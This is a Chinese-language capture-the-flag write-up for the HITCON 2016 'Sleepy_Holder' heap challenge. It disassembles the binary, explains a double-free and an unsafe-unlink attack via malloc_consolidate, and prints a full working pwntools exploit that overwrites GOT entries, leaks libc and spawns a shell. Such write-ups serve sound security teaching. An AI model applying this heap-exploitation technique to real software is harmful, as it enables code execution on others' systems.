6.1.22 pwn HITCONCTF2016 Sleepy_Holder

下载文件

题目复现

$ file SleepyHolder
SleepyHolder: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=46f0e70abd9460828444d7f0975a8b2f2ddbad46, stripped
$ checksec -f SleepyHolder
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     0               2       SleepyHolder
$ strings libc-2.23.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.3.1 20160413.

64 位程序,开启了 Canary 和 NX,默认开启 ASLR。

在 Ubuntu-16.04 上玩一下:

$ ./SleepyHolder
Waking Sleepy Holder up ...
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret
1
What secret do you want to keep?
1. Small secret
2. Big secret
3. Keep a huge secret and lock it forever
1
Tell me your secret:
AAAA
1. Keep secret
2. Wipe secret
3. Renew secret
1
What secret do you want to keep?
1. Small secret
2. Big secret
3. Keep a huge secret and lock it forever
3
Tell me your secret:
CCCC
1. Keep secret
2. Wipe secret
3. Renew secret
3
Which Secret do you want to renew?
1. Small secret
2. Big secret
1
Tell me your secret:
BBBB
1. Keep secret
2. Wipe secret
3. Renew secret
2
Which Secret do you want to wipe?
1. Small secret
2. Big secret
1

这一题看起来和上一题 Secret_Holder 差不多。同样是 small、big、huge 三种 secret,不同的是这里的 huge secret 是不可修改和删除的。

题目解析

下面我们逐个来逆向这些功能。

Keep secret

[0x00400850]> pdf @ sub.What_secret_do_you_want_to_keep_93d
/ (fcn) sub.What_secret_do_you_want_to_keep_93d 452
|   sub.What_secret_do_you_want_to_keep_93d ();
|           ; var int local_14h @ rbp-0x14
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|           ; CALL XREF from 0x00400e3c (main)
|           0x0040093d      push rbp
|           0x0040093e      mov rbp, rsp
|           0x00400941      sub rsp, 0x20
|           0x00400945      mov rax, qword fs:[0x28]                   ; [0x28:8]=-1 ; '(' ; 40
|           0x0040094e      mov qword [local_8h], rax
|           0x00400952      xor eax, eax
|           0x00400954      mov edi, str.What_secret_do_you_want_to_keep ; 0x400ee8 ; "What secret do you want to keep?"
|           0x00400959      call sym.imp.puts                          ; int puts(const char *s)
|           0x0040095e      mov edi, str.1._Small_secret               ; 0x400f09 ; "1. Small secret"
|           0x00400963      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400968      mov edi, str.2._Big_secret                 ; 0x400f19 ; "2. Big secret"
|           0x0040096d      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400972      mov eax, dword [0x006020dc]                 ; huge_flag,表示 huge secret 是否已存在
|           0x00400978      test eax, eax
|       ,=< 0x0040097a      jne 0x400986                                ; huge_flag 为 1 时跳转
|       |   0x0040097c      mov edi, str.3._Keep_a_huge_secret_and_lock_it_forever ; 0x400f28 ; "3. Keep a huge secret and lock it forever"
|       |   0x00400981      call sym.imp.puts                           ; 否则打印出来
|       |   ; JMP XREF from 0x0040097a (sub.What_secret_do_you_want_to_keep_93d)
|       `-> 0x00400986      lea rax, [local_10h]
|           0x0040098a      mov edx, 4
|           0x0040098f      mov esi, 0
|           0x00400994      mov rdi, rax
|           0x00400997      call sym.imp.memset                        ; void *memset(void *s, int c, size_t n)
|           0x0040099c      lea rax, [local_10h]
|           0x004009a0      mov edx, 4
|           0x004009a5      mov rsi, rax
|           0x004009a8      mov edi, 0
|           0x004009ad      mov eax, 0
|           0x004009b2      call sym.imp.read                          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x004009b7      lea rax, [local_10h]
|           0x004009bb      mov rdi, rax
|           0x004009be      call sym.imp.atoi                          ; int atoi(const char *str)
|           0x004009c3      mov dword [local_14h], eax
|           0x004009c6      mov eax, dword [local_14h]
|           0x004009c9      cmp eax, 2                                 ; 2
|       ,=< 0x004009cc      je 0x400a3d                                 ; big secret
|       |   0x004009ce      cmp eax, 3                                 ; 3
|      ,==< 0x004009d1      je 0x400a96                                 ; huge secret
|      ||   0x004009d7      cmp eax, 1                                 ; 1
|     ,===< 0x004009da      je 0x4009e1                                 ; small secret
|    ,====< 0x004009dc      jmp 0x400aeb
|    ||||   ; JMP XREF from 0x004009da (sub.What_secret_do_you_want_to_keep_93d)
|    |`---> 0x004009e1      mov eax, dword [0x006020e0]                 ; small_flag,表示 small secret 是否已存在
|    | ||   0x004009e7      test eax, eax
|    |,===< 0x004009e9      je 0x4009f0                                 ; small_flag 为 0 时
|   ,=====< 0x004009eb      jmp 0x400aeb
|   |||||   ; JMP XREF from 0x004009e9 (sub.What_secret_do_you_want_to_keep_93d)
|   ||`---> 0x004009f0      mov esi, 0x28                              ; '(' ; 40
|   || ||   0x004009f5      mov edi, 1
|   || ||   0x004009fa      call sym.imp.calloc                         ; calloc(1, 0x28) 为 small secret 分配空间
|   || ||   0x004009ff      mov qword [0x006020d0], rax                 ; 把地址放到 [0x006020d0]
|   || ||   0x00400a06      mov dword [0x006020e0], 1                   ; 设置 small_flag 为 1
|   || ||   0x00400a10      mov edi, str.Tell_me_your_secret:          ; 0x400f52 ; "Tell me your secret: "
|   || ||   0x00400a15      call sym.imp.puts                          ; int puts(const char *s)
|   || ||   0x00400a1a      mov rax, qword [0x006020d0]                ; [0x6020d0:8]=0
|   || ||   0x00400a21      mov edx, 0x28                              ; '(' ; 40
|   || ||   0x00400a26      mov rsi, rax
|   || ||   0x00400a29      mov edi, 0
|   || ||   0x00400a2e      mov eax, 0
|   || ||   0x00400a33      call sym.imp.read                           ; read(0, [0x006020d0], 0x28) 读入 small secret
|   ||,===< 0x00400a38      jmp 0x400aeb
|   |||||   ; JMP XREF from 0x004009cc (sub.What_secret_do_you_want_to_keep_93d)
|   ||||`-> 0x00400a3d      mov eax, dword [0x006020d8]                 ; big_flag,表示 big secret 是否已存在
|   ||||    0x00400a43      test eax, eax
|   ||||,=< 0x00400a45      je 0x400a4c                                 ; big_flag 为 0 时
|  ,======< 0x00400a47      jmp 0x400aeb
|  ||||||   ; JMP XREF from 0x00400a45 (sub.What_secret_do_you_want_to_keep_93d)
|  |||||`-> 0x00400a4c      mov esi, 0xfa0                             ; 4000
|  |||||    0x00400a51      mov edi, 1
|  |||||    0x00400a56      call sym.imp.calloc                         ; calloc(1, 0xfa0) 为 big secret 分配空间
|  |||||    0x00400a5b      mov qword [0x006020c0], rax                 ; 把地址放到 [0x006020c0]
|  |||||    0x00400a62      mov dword [0x006020d8], 1                   ; 设置 big_flag 为 1
|  |||||    0x00400a6c      mov edi, str.Tell_me_your_secret:          ; 0x400f52 ; "Tell me your secret: "
|  |||||    0x00400a71      call sym.imp.puts                          ; int puts(const char *s)
|  |||||    0x00400a76      mov rax, qword [0x006020c0]                ; [0x6020c0:8]=0
|  |||||    0x00400a7d      mov edx, 0xfa0                             ; 4000
|  |||||    0x00400a82      mov rsi, rax
|  |||||    0x00400a85      mov edi, 0
|  |||||    0x00400a8a      mov eax, 0
|  |||||    0x00400a8f      call sym.imp.read                           ; read(0, [0x006020c0], 0xfa0) 读入 big secret
|  |||||,=< 0x00400a94      jmp 0x400aeb
|  ||||||   ; JMP XREF from 0x004009d1 (sub.What_secret_do_you_want_to_keep_93d)
|  ||||`--> 0x00400a96      mov eax, dword [0x006020dc]                 ; huge_flag,表示 huge secret 是否已存在
|  |||| |   0x00400a9c      test eax, eax
|  ||||,==< 0x00400a9e      je 0x400aa2                                 ; huge_flag 为 0 时
| ,=======< 0x00400aa0      jmp 0x400aeb
| |||||||   ; JMP XREF from 0x00400a9e (sub.What_secret_do_you_want_to_keep_93d)
| |||||`--> 0x00400aa2      mov esi, 0x61a80
| ||||| |   0x00400aa7      mov edi, 1
| ||||| |   0x00400aac      call sym.imp.calloc                         ; calloc(1, 0x61a80) 为 huge secret 分配空间
| ||||| |   0x00400ab1      mov qword [0x006020c8], rax                 ; 把地址放到 [0x006020c8]
| ||||| |   0x00400ab8      mov dword [0x006020dc], 1                   ; 设置 huge_flag 为 1
| ||||| |   0x00400ac2      mov edi, str.Tell_me_your_secret:          ; 0x400f52 ; "Tell me your secret: "
| ||||| |   0x00400ac7      call sym.imp.puts                          ; int puts(const char *s)
| ||||| |   0x00400acc      mov rax, qword [0x006020c8]                ; [0x6020c8:8]=0
| ||||| |   0x00400ad3      mov edx, 0x61a80
| ||||| |   0x00400ad8      mov rsi, rax
| ||||| |   0x00400adb      mov edi, 0
| ||||| |   0x00400ae0      mov eax, 0
| ||||| |   0x00400ae5      call sym.imp.read                           ; read(0, [0x006020c8], 0x61a80) 读入 huge secret
| ||||| |   0x00400aea      nop
| ||||| |   ; XREFS: JMP 0x004009dc  JMP 0x004009eb  JMP 0x00400a38  JMP 0x00400a47  JMP 0x00400a94  JMP 0x00400aa0  
| `````-`-> 0x00400aeb      mov rax, qword [local_8h]
|           0x00400aef      xor rax, qword fs:[0x28]
|       ,=< 0x00400af8      je 0x400aff
|       |   0x00400afa      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x00400af8 (sub.What_secret_do_you_want_to_keep_93d)
|       `-> 0x00400aff      leave
\           0x00400b00      ret

还是一样的,该函数使用 calloc() 为三种 secret 分别了不同大小的 chunk,small secret 属于 small chunk,big secret 和 huge secret 属于 large chunk。在分配前,会检查对应的 secret 是否已经存在,即每种 chunk 只能有一个。另外看函数开头部分,huge secret 显然受到了特殊处理。

  • small secret: small chunk, 40 bytes

    • small_ptr: 0x006020d0

    • small_flag: 0x006020e0

  • big secret: large chunk, 4000 bytes

    • big_ptr: 0x006020c0

    • big_flag: 0x006020d8

  • huge secret: large chunk, 400000 bytes

    • huge_ptr: 0x006020c8

    • huge_flag: 0x006020dc

Wipe secret

[0x00400850]> pdf @ sub.Which_Secret_do_you_want_to_wipe_b01
/ (fcn) sub.Which_Secret_do_you_want_to_wipe_b01 207
|   sub.Which_Secret_do_you_want_to_wipe_b01 ();
|           ; var int local_14h @ rbp-0x14
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|           ; CALL XREF from 0x00400e48 (main)
|           0x00400b01      push rbp
|           0x00400b02      mov rbp, rsp
|           0x00400b05      sub rsp, 0x20
|           0x00400b09      mov rax, qword fs:[0x28]                   ; [0x28:8]=-1 ; '(' ; 40
|           0x00400b12      mov qword [local_8h], rax
|           0x00400b16      xor eax, eax
|           0x00400b18      mov edi, str.Which_Secret_do_you_want_to_wipe ; 0x400f68 ; "Which Secret do you want to wipe?"
|           0x00400b1d      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400b22      mov edi, str.1._Small_secret               ; 0x400f09 ; "1. Small secret"
|           0x00400b27      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400b2c      mov edi, str.2._Big_secret                 ; 0x400f19 ; "2. Big secret"
|           0x00400b31      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400b36      lea rax, [local_10h]
|           0x00400b3a      mov edx, 4
|           0x00400b3f      mov esi, 0
|           0x00400b44      mov rdi, rax
|           0x00400b47      call sym.imp.memset                        ; void *memset(void *s, int c, size_t n)
|           0x00400b4c      lea rax, [local_10h]
|           0x00400b50      mov edx, 4
|           0x00400b55      mov rsi, rax
|           0x00400b58      mov edi, 0
|           0x00400b5d      mov eax, 0
|           0x00400b62      call sym.imp.read                          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00400b67      lea rax, [local_10h]
|           0x00400b6b      mov rdi, rax
|           0x00400b6e      call sym.imp.atoi                          ; int atoi(const char *str)
|           0x00400b73      mov dword [local_14h], eax
|           0x00400b76      mov eax, dword [local_14h]
|           0x00400b79      cmp eax, 1                                 ; 1
|       ,=< 0x00400b7c      je 0x400b85                                 ; small secret
|       |   0x00400b7e      cmp eax, 2                                 ; 2
|      ,==< 0x00400b81      je 0x400ba0                                 ; big secret
|     ,===< 0x00400b83      jmp 0x400bba
|     |||   ; JMP XREF from 0x00400b7c (sub.Which_Secret_do_you_want_to_wipe_b01)
|     ||`-> 0x00400b85      mov rax, qword [0x006020d0]                ; [0x6020d0:8]=0
|     ||    0x00400b8c      mov rdi, rax
|     ||    0x00400b8f      call sym.imp.free                           ; free([0x006020d0]) 释放 small secret
|     ||    0x00400b94      mov dword [0x006020e0], 0                   ; 设置 small_flag 为 0
|     ||,=< 0x00400b9e      jmp 0x400bba
|     |||   ; JMP XREF from 0x00400b81 (sub.Which_Secret_do_you_want_to_wipe_b01)
|     |`--> 0x00400ba0      mov rax, qword [0x006020c0]                ; [0x6020c0:8]=0
|     | |   0x00400ba7      mov rdi, rax
|     | |   0x00400baa      call sym.imp.free                           ; free([0x006020c0]) 释放 big secret
|     | |   0x00400baf      mov dword [0x006020d8], 0                   ; 设置 big_flag 为 0
|     | |   0x00400bb9      nop
|     | |   ; JMP XREF from 0x00400b83 (sub.Which_Secret_do_you_want_to_wipe_b01)
|     | |   ; JMP XREF from 0x00400b9e (sub.Which_Secret_do_you_want_to_wipe_b01)
|     `-`-> 0x00400bba      mov rax, qword [local_8h]
|           0x00400bbe      xor rax, qword fs:[0x28]
|       ,=< 0x00400bc7      je 0x400bce
|       |   0x00400bc9      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x00400bc7 (sub.Which_Secret_do_you_want_to_wipe_b01)
|       `-> 0x00400bce      leave
\           0x00400bcf      ret

该函数只能释放 small secret 和 big secret。释放的过程首先将对应的 chunk 释放掉,然后设置对应 flag 为 0。漏洞很明显,就是没有将 chunk 指针清空,存在悬指针,可能导致 use-after-free,然后在释放前,也没有检查 flag,可能导致 double-free。

Renew secret

[0x00400850]> pdf @ sub.Which_Secret_do_you_want_to_renew_bd0
/ (fcn) sub.Which_Secret_do_you_want_to_renew_bd0 259
|   sub.Which_Secret_do_you_want_to_renew_bd0 ();
|           ; var int local_14h @ rbp-0x14
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|           ; CALL XREF from 0x00400e54 (main)
|           0x00400bd0      push rbp
|           0x00400bd1      mov rbp, rsp
|           0x00400bd4      sub rsp, 0x20
|           0x00400bd8      mov rax, qword fs:[0x28]                   ; [0x28:8]=-1 ; '(' ; 40
|           0x00400be1      mov qword [local_8h], rax
|           0x00400be5      xor eax, eax
|           0x00400be7      mov edi, str.Which_Secret_do_you_want_to_renew ; 0x400f90 ; "Which Secret do you want to renew?"
|           0x00400bec      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400bf1      mov edi, str.1._Small_secret               ; 0x400f09 ; "1. Small secret"
|           0x00400bf6      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400bfb      mov edi, str.2._Big_secret                 ; 0x400f19 ; "2. Big secret"
|           0x00400c00      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400c05      lea rax, [local_10h]
|           0x00400c09      mov edx, 4
|           0x00400c0e      mov esi, 0
|           0x00400c13      mov rdi, rax
|           0x00400c16      call sym.imp.memset                        ; void *memset(void *s, int c, size_t n)
|           0x00400c1b      lea rax, [local_10h]
|           0x00400c1f      mov edx, 4
|           0x00400c24      mov rsi, rax
|           0x00400c27      mov edi, 0
|           0x00400c2c      mov eax, 0
|           0x00400c31      call sym.imp.read                          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00400c36      lea rax, [local_10h]
|           0x00400c3a      mov rdi, rax
|           0x00400c3d      call sym.imp.atoi                          ; int atoi(const char *str)
|           0x00400c42      mov dword [local_14h], eax
|           0x00400c45      mov eax, dword [local_14h]
|           0x00400c48      cmp eax, 1                                 ; 1
|       ,=< 0x00400c4b      je 0x400c54                                 ; small secret
|       |   0x00400c4d      cmp eax, 2                                 ; 2
|      ,==< 0x00400c50      je 0x400c8a                                 ; big secret
|     ,===< 0x00400c52      jmp 0x400cbd
|     |||   ; JMP XREF from 0x00400c4b (sub.Which_Secret_do_you_want_to_renew_bd0)
|     ||`-> 0x00400c54      mov eax, dword [0x006020e0]                ; [0x6020e0:4]=0
|     ||    0x00400c5a      test eax, eax
|     ||,=< 0x00400c5c      je 0x400c88                                 ; small_flag 为 0 时,函数返回
|     |||   0x00400c5e      mov edi, str.Tell_me_your_secret:          ; 0x400f52 ; "Tell me your secret: "
|     |||   0x00400c63      call sym.imp.puts                          ; int puts(const char *s)
|     |||   0x00400c68      mov rax, qword [0x006020d0]                ; [0x6020d0:8]=0
|     |||   0x00400c6f      mov edx, 0x28                              ; '(' ; 40
|     |||   0x00400c74      mov rsi, rax
|     |||   0x00400c77      mov edi, 0
|     |||   0x00400c7c      mov eax, 0
|     |||   0x00400c81      call sym.imp.read                           ; read(0, [0x006020d0], 0x28) 否则读入 small secret
|    ,====< 0x00400c86      jmp 0x400cbd
|    ||||   ; JMP XREF from 0x00400c5c (sub.Which_Secret_do_you_want_to_renew_bd0)
|   ,===`-> 0x00400c88      jmp 0x400cbd
|   ||||    ; JMP XREF from 0x00400c50 (sub.Which_Secret_do_you_want_to_renew_bd0)
|   |||`--> 0x00400c8a      mov eax, dword [0x006020d8]                ; [0x6020d8:4]=0
|   |||     0x00400c90      test eax, eax
|   ||| ,=< 0x00400c92      je 0x400cbc                                 ; big_flag 为 0 时,函数返回
|   ||| |   0x00400c94      mov edi, str.Tell_me_your_secret:          ; 0x400f52 ; "Tell me your secret: "
|   ||| |   0x00400c99      call sym.imp.puts                          ; int puts(const char *s)
|   ||| |   0x00400c9e      mov rax, qword [0x006020c0]                ; [0x6020c0:8]=0
|   ||| |   0x00400ca5      mov edx, 0xfa0                             ; 4000
|   ||| |   0x00400caa      mov rsi, rax
|   ||| |   0x00400cad      mov edi, 0
|   ||| |   0x00400cb2      mov eax, 0
|   ||| |   0x00400cb7      call sym.imp.read                           ; read(0, [0x006020c0], 0xfa0) 否则读入 big secret
|   ||| |   ; JMP XREF from 0x00400c92 (sub.Which_Secret_do_you_want_to_renew_bd0)
|   ||| `-> 0x00400cbc      nop
|   |||     ; JMP XREF from 0x00400c52 (sub.Which_Secret_do_you_want_to_renew_bd0)
|   |||     ; JMP XREF from 0x00400c86 (sub.Which_Secret_do_you_want_to_renew_bd0)
|   |||     ; JMP XREF from 0x00400c88 (sub.Which_Secret_do_you_want_to_renew_bd0)
|   ```---> 0x00400cbd      mov rax, qword [local_8h]
|           0x00400cc1      xor rax, qword fs:[0x28]
|       ,=< 0x00400cca      je 0x400cd1
|       |   0x00400ccc      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x00400cca (sub.Which_Secret_do_you_want_to_renew_bd0)
|       `-> 0x00400cd1      leave
\           0x00400cd2      ret

该函数只能对 small secret 和 big secret 进行修改,所以 huge secret 就是一次分配,永远存在且内容不可修改了。过程是首先判断对应的 flag 是否为 1,即 secret 是否已经存在,如果不存在,则读入 secret,否则函数直接返回。

漏洞利用

总结一下我们知道的东西:

  • small secret: small chunk, 40 bytes

    • small_ptr: 0x006020d0

    • small_flag: 0x006020e0

  • big secret: large chunk, 4000 bytes

    • big_ptr: 0x006020c0

    • big_flag: 0x006020d8

  • huge secret: large chunk, 400000 bytes

    • huge_ptr: 0x006020c8

    • huge_flag: 0x006020dc

漏洞:

  • double-free:在 free chunk 的位置 calloc 另一个 chunk,即可再次 free 这个 chunk

  • use-after-free:由于 double-free,calloc 出来的那个 chunk 被认为是 free 的,但可以使用

看到这里该题与上一题的差别很明显了,就是我们没有办法再通过 keep(huge) -> wipe(huge) -> keep(huge) 来利用 brk() 分配内存,制造 unsafe unlink。

然后我们又在 _int_malloc() 中发现了另一个东西:

static void*
_int_malloc(mstate av, size_t bytes)
{
  /*
     If this is a large request, consolidate fastbins before continuing.
     While it might look excessive to kill all fastbins before
     even seeing if there is space available, this avoids
     fragmentation problems normally associated with fastbins.
     Also, in practice, programs tend to have runs of either small or
     large requests, but less often mixtures, so consolidation is not
     invoked all that often in most programs. And the programs that
     it is called frequently in otherwise tend to fragment.
  */

  else {
    idx = largebin_index(nb);
    if (have_fastchunks(av))
      malloc_consolidate(av);
  }

当需求 chunk 是一个 large chunk 时,glibc 会将把 fastbins 中的 chunk 移除,设置 PREV_INUSE 为 0,合并 free chunk,然后放到 unsorted bin。接着 glibc 尝试从 unsorted bin 中取出 chunk,由于大小不合适,这些 chunk 又被放到 small bin 中:

          /* place chunk in bin */

          if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
            }

这时就可以再次释放 small secret 而不触发 double-free 的检测。

那么为什么一定要将 small secret 放进 small bin 呢?因为当 chunk 被放进 small bin 时,会相应的修改 next chunk(即big secret)的 chunk header(设置prev_size,PREV_INUSE置0),而当 chunk 被放进 fastbins 时是不会有这样的操作的。接下来我们需要通过 double-free 将 small secret 再次放进 fastbins(这时small secret同时存在于fastbins和small bin中),再从 fastbins 中取出 small secret,原因和上面类似,从 fastbins 中取出 chunk 不会设置 next chunk 的 chunk header。这样我们才能正确地触发 unlink。

def unlink():
    keep(1, "AAAA")     # small
    keep(2, "AAAA")     # big
    wipe(1)             # put small into fastbins
    keep(3, "AAAA")     # huge # put small into small bin
    wipe(1)             # double free # put small into fastbins

    payload  = p64(0) + p64(0x21)       # fake header
    payload += p64(small_ptr - 0x18)    # fake fd
    payload += p64(small_ptr - 0x10)    # fake bk
    payload += p64(0x20)                # fake prev_size
    keep(1, payload)

    wipe(2)             # unsafe unlink

制造 double-free:

gdb-peda$ x/5gx 0x006020c0
0x6020c0:	0x0000000000603560	0x00007ffff7f92010
0x6020d0:	0x0000000000603530	0x0000000100000001
0x6020e0:	0x0000000000000000
gdb-peda$ x/10gx 0x00603530-0x10
0x603520:	0x0000000000000000	0x0000000000000031  <-- small
0x603530:	0x0000000000000000	0x00007ffff7dd1b98
0x603540:	0x0000000000000000	0x0000000000000000
0x603550:	0x0000000000000030	0x0000000000000fb0  <-- big <-- PREV_INUSE
0x603560:	0x0000000041414141	0x0000000000000000

上面的过程一方面通过 malloc_consolidate 设置了 big secret 的 PREV_INUSE,另一方面通过 double-free 将 small secret 放进 fastbins。

在 small secret 中布置上一个 fake chunk:

gdb-peda$ x/5gx 0x006020c0
0x6020c0:	0x0000000000603560	0x00007ffff7f92010
0x6020d0:	0x0000000000603530	0x0000000100000001
0x6020e0:	0x0000000000000001
gdb-peda$ x/10gx 0x00603530-0x10
0x603520:	0x0000000000000000	0x0000000000000031
0x603530:	0x0000000000000000	0x0000000000000021  <-- fake chunk
0x603540:	0x00000000006020b8	0x00000000006020c0    <-- fd, bk pointer
0x603550:	0x0000000000000020	0x0000000000000fb0  <-- big <-- fake prev_size
0x603560:	0x0000000041414141	0x0000000000000000
gdb-peda$ x/gx 0x006020b8 + 0x18
0x6020d0:	0x0000000000603530    <-- P->fd->bk = P
gdb-peda$ x/gx 0x006020c0 + 0x10
0x6020d0:	0x0000000000603530    <-- P->bk->fd = P

释放 big secret 即可触发 unsafe unlink:

gdb-peda$ x/6gx 0x006020b8
0x6020b8:	0x0000000000000000	0x0000000000603560
0x6020c8:	0x00007ffff7f92010	0x00000000006020b8  <-- fake chunk ptr
0x6020d8:	0x0000000100000000	0x0000000000000001

于是我们就获得了修改 .bss 段的能力。

后面的过程就和上一题完全一样了。

leak libc

def leak():
    global one_gadget

    payload  = "A" * 8
    payload += p64(elf.got['free']) # big_ptr -> free@got.plt
    payload += "A" * 8
    payload += p64(big_ptr)         # small_ptr -> big_ptr
    payload += p32(1)               # big_flag
    renew(1, payload)
    renew(2, p64(elf.plt['puts']))  # free@got.plt -> puts@plt
    renew(1, p64(elf.got['puts']))  # big_ptr -> puts@got.plt

    wipe(2)
    puts_addr = u64(io.recvline()[:6] + "\x00\x00")
    libc_base = puts_addr - libc.symbols['puts']
    one_gadget = libc_base + 0x4525a

    log.info("libc base: 0x%x" % libc_base)
    log.info("one_gadget address: 0x%x" % one_gadget)

pwn

def pwn():
    payload  = "A" * 0x10
    payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
    renew(1, payload)

    renew(1, p64(one_gadget))       # puts@got.plt -> one_gadget
    io.interactive()

开启 ASLR,Bingo!!!

$ python exp.py
[+] Starting local process './SleepyHolder': pid 8352
[*] libc base: 0x7ffbcd987000
[*] one_gadget address: 0x7ffbcd9cc25a
[*] Switching to interactive mode
$ whoami
firmy

exploit

完整的 exp 如下:

#!/usr/bin/env python

from pwn import *

#context.log_level = 'debug'

io = process(['./SleepyHolder'], env={'LD_PRELOAD':'./libc-2.23.so'})
elf = ELF('SleepyHolder')
libc = ELF('libc-2.23.so')

small_ptr = 0x006020d0
big_ptr = 0x006020c0

def keep(idx, content):
    io.sendlineafter("Renew secret\n", '1')
    io.sendlineafter("Big secret\n", str(idx))
    io.sendafter("secret: \n", content)

def wipe(idx):
    io.sendlineafter("Renew secret\n", '2')
    io.sendlineafter("Big secret\n", str(idx))

def renew(idx, content):
    io.sendlineafter("Renew secret\n", '3')
    io.sendlineafter("Big secret\n", str(idx))
    io.sendafter("secret: \n", content)

def unlink():
    keep(1, "AAAA")     # small
    keep(2, "AAAA")     # big
    wipe(1)             # put small into fastbins
    keep(3, "AAAA")     # huge # put small into small bin
    wipe(1)             # double free # put small into fastbins

    payload  = p64(0) + p64(0x21)       # fake header
    payload += p64(small_ptr - 0x18)    # fake fd
    payload += p64(small_ptr - 0x10)    # fake bk
    payload += p64(0x20)                # fake prev_size
    keep(1, payload)

    wipe(2)             # unsafe unlink

def leak():
    global one_gadget

    payload  = "A" * 8
    payload += p64(elf.got['free']) # big_ptr -> free@got.plt
    payload += "A" * 8
    payload += p64(big_ptr)         # small_ptr -> big_ptr
    payload += p32(1)               # big_flag
    renew(1, payload)
    renew(2, p64(elf.plt['puts']))  # free@got.plt -> puts@plt
    renew(1, p64(elf.got['puts']))  # big_ptr -> puts@got.plt

    wipe(2)
    puts_addr = u64(io.recvline()[:6] + "\x00\x00")
    libc_base = puts_addr - libc.symbols['puts']
    one_gadget = libc_base + 0x4525a

    log.info("libc base: 0x%x" % libc_base)
    log.info("one_gadget address: 0x%x" % one_gadget)

def pwn():
    payload  = "A" * 0x10
    payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
    renew(1, payload)

    renew(1, p64(one_gadget))       # puts@got.plt -> one_gadget
    io.interactive()

if __name__ == "__main__":
    unlink()
    leak()
    pwn()

参考资料

Last updated